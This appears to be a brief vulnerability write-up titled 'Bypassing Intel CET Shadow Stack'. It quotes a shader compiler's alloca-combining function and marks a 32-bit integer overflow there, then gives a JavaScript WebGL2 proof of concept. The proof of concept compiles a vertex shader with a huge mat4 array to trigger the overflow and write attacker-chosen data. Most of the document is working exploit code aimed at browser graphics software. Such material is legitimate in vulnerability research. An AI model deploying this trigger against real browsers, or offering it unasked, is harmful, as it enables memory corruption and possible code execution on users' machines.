Bypassing Intel CET Shadow Stack

void Cfg::sortAndCombineAllocas(CfgVector<InstAlloca *> &Allocas,
                                uint32_t CombinedAlignment, InstList &Insts,
                                AllocaBaseVariableType BaseVariableType) {
  if (Allocas.empty())
    return;
    ...
  uint32_t CurrentOffset = 0;  // 32-bit integer can overflow!
  CfgVector<int32_t> Offsets;
  
  // The vulnerable loop:
  for (Inst *Instr : Allocas) {
    auto *Alloca = llvm::cast<InstAlloca>(Instr);
    uint32_t Alignment = std::max(Alloca->getAlignInBytes(), 1u);
    auto *ConstSize = 
        llvm::dyn_cast<ConstantInteger32>(Alloca->getSizeInBytes());
    // Size can be controlled by attacker via shader code
    uint32_t Size = Utils::applyAlignment(ConstSize->getValue(), Alignment);
    
    ...
    Offsets.push_back(...);
    CurrentOffset += Size;  // INTEGER OVERFLOW HERE!
  }
  
  // Round the offset up to the alignment to determine the final allocation size
  uint32_t TotalSize = Utils::applyAlignment(CurrentOffset, CombinedAlignment);
  ...
}

(() => {
    // Create a temporary canvas to get a WebGL2 context
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl2');

    if (!gl) {
        console.error("WebGL 2 is not available on your browser.");
        return;
    }

    // A simple, valid vertex shader
    const vsSource = `
        #version 300 es
        mat4 buf[0xffffff]; // Trigger the overflow in sortAndCombineAllocas
        void main() {
            buf[1][2][3]=uintBitsToFloat(0x41414141);
    }`;

    // --- The Compilation Process ---
    const shader = gl.createShader(gl.VERTEX_SHADER);
    gl.shaderSource(shader, vsSource);
    gl.compileShader(shader);

    // --- Check the Result ---
    if (gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
        console.log("Shader compiled successfully!");
    } else {
        console.error("Shader compilation failed:");
        console.error(gl.getShaderInfoLog(shader));
    }
})();